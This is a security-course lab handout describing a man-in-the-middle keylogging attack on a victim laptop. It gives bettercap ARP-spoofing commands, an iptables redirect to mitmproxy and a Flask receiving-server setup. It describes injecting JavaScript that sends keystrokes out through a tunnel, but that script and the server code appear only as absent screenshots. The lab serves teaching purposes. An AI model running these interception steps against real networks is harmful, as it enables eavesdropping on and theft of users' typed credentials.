
Lab 3 

Key-Gathering-Browser-Bot 

Goals: This lab demonstrates how the attacker can track the keystrokes of the user 

on the Victim (Windows) machine.  

STEP 0: 

Alice—Victim laptop 

Mallory—Attacker (Ubuntu VM running on virtualbox in a Windows host) 

Set up infrastructure: How Ubuntu can see the network. 

 

STEP 1: 

To start this attack, Mallory first becomes Man_in_the_Middle between the Alice 

(victim laptop) and the Wi-Fi router; for which Mallory uses a tool called 

bettercap. 

• First, we need to become the root user in Ubuntu VM by running the 

command –  

o sudo su 

o Enter the password when promted 

• Then run the following commands. 



> bettercap   (by running this command, we start the tool) 

> net.probe on  (To scan the connected devices on the Wi-Fi) 

> net.show   (Show connected devices with IP address and more.) 

From the net.show we can see the IP address of Alice’s device and save it. 

>set arp.spoof.targets 192.168.237.242   (assuming Alice’s IP address is 

192.168.237.242, this will set Alice as the target for the MITM) 

> arp.spoof on  (This will start the ARP spoof) 

 

Screenshot for Reference: 

 

STEP 2: 

Changing iptables in Ubuntu VM - the HTTP request goes to port 80 and our 

mitmproxy (A tool used to intercept and change the response or request) will 

work on port 8080 so we must redirect the traffic to use these ports. We assume 

that 192.168.237.242 is the victim’s IP address. 

Run command,  

➢ iptables -t nat -A PREROUTING -p tcp --dport  80  -j REDIRECT --to-port 8080   

(To update the routing protocol in the IP Tables.) 

➢ iptables -t nat -L (To view the updated protocols) 

 

 



 

 

Screenshot for Reference: 

 

 

STEP 3:  

Mallory will need to start a server to get the keys on her computer from Alice’s 

browser;  

Some python libraries are required to run the server, so we install them in a folder 

virtualenvi which is a virtual environment of python. 

To create the virtual environment, run commands, 

> python3 –version (to list the version of python on the system) 

> apt-get install python<version-number>-venv  (to install python virtual 

environment package) 

> python3 -m venv <env-name> (create virtual environment) 

> cd env-name  (navigate into the virtual environment 

folder) 

> source ./bin/activate    (activates the virtual environment) 

 

Install the required libraries by running the commands, 

> pip install flask 



> pip install flask_cors 

 

 

The python code for the server is as follows. 

 

Screenshot for Reference: 

 

On running server.py script, we see it running on port 5000. 

STEP 5: 

We use mitmdump to inject the malicious javascript code on the victim’s machine. 

 

The malicious code is visible between <script> and </script> tag. 



 

Now, we can test the attack - Alice (victim) visits a website on their browser like:  

http://web.interhack.com 

 

To check whether our Malicious java script is injected to the website we inspect the 

webpage by right clicking on the webpage and selecting ‘inspect page’ option. 

 

And all keystrokes Alices types on the webpage will be sent to the attacker’s 

(Mallory) server. 

To verify the keys are being sent to the server using pagekite we can check these 

by inspecting page and going to network tab. 

If Alice presses a key A, it will be sent to the server through the pagekite tunnel.  



 


